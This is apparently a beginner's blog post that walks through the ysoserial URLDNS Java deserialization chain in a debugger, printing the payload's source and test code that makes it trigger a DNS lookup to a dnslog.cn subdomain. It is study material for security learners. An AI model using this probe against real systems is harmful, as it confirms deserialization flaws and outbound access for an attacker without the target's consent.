[JAVA deserialization beginner] DNSLOG deserialization chain analysis

Posted by snoopgreen on Sat, 05 Mar 2022 05:07:00 +0100

1. Application of dnslog chain
2. Use idea and ysoserial for debugging
3. Analyze the payload of ysosecial

Application of DNSLOG chain

Dnslog chain can only be used to prove the entry of deserialization and judge whether the target can go out of the network. Dnslog is used to judge the existence of deserialization vulnerability and whether the target can go out of the network.

Let's look at the hole first and then the payload.

Use idea and ysosesal for debugging

After the ysoserial is arranged locally, use idea to open DNSLOG and modify the main function for debugging.

Put the original payloadrunner Comment out the run function.

//            PayloadRunner.run(URLDNS.class, args);

Add code for serialization and deserialization on. Turn urldns () Change the parameter of GetObject to the subdomain name of DNSLOG.

	Object o = new URLDNS().getObject("https://cgxx.tygbw2.dnslog.cn/");
	ByteArrayOutputStream b = new ByteArrayOutputStream();
	ObjectOutputStream oos=new ObjectOutputStream(b);
	oos.writeObject(o);
	byte[] ba = b.toByteArray();
	ByteArrayInputStream BAIS = new ByteArrayInputStream(ba);
	ObjectInputStream OIS = new ObjectInputStream(BAIS);
	OIS.readObject();

Add a breakpoint on the readObject line.
Then follow up in readObject

Enter the hash(key) called by PutVal in the last line of readObject. Note that at this time, key is the key of HashMap in our payload, which is a URL object, value is the value and URL string.

The hash function first determines whether the key is empty. If the key is empty, it returns 0. Otherwise, the key is hashed. Keep following.

At this time, it is found that the hashCode of the URL class is followed. Here, it is nested to determine whether the hashCode of the object is - 1. This is to determine whether the URL has been parsed.

The initial value of the hashCode field of this class is - 1. When the hashCode of this object is not - 1, its hashCode will be returned directly and its hashCode will not be calculated. Therefore, the hashMap object in payload needs to set the hashCode to - 1.
Then I came to the place where the request occurred. I followed in and found a hashCode function with the URL object as the formal parameter. You can see that there is a getHostAddress, which should be used to resolve the IP of the domain name. The parameters passed in are directly the URL object in our payload.

Follow this function, find the getByName function, and take the host field of the object u as the parameter.

Just like here. As long as the domain name is put in getByName, it will be requested to obtain the IP address and put it into the hostAddress field of object u. Next, the access to the subdomain name can be seen on dnslog.

Analyze the payload of ysosecial

	public Object getObject(final String url) throws Exception {

            //Avoid DNS resolution during payload creation
            //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
            URLStreamHandler handler = new SilentURLStreamHandler();

            HashMap ht = new HashMap(); // HashMap that will contain the URL
            URL u = new URL(null, url, handler); // URL to use as the Key
            ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

            Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

            return ht;
    }

The first line of code in the payload is to use SilentURLStreamHandler to inherit the original URLStreamHandler and rewrite its two methods. See below, the function getHostAddress that originally triggered the request for domain name IP is rewritten and directly returns null, so as to avoid triggering the request when generating the payload.

static class SilentURLStreamHandler extends URLStreamHandler {

                protected URLConnection openConnection(URL u) throws IOException {
                        return null;
                }

                protected synchronized InetAddress getHostAddress(URL u) {
                        return null;
                }
        }
}

Then, create a hashMap, instantiate a URL class, put the instance of the URL class into the key, and put the value into a string. Finally, remember to change the object hashCode to - 1.

last

Thank you very much for your instruction. The boss is really too strong

Topics: Java Web Security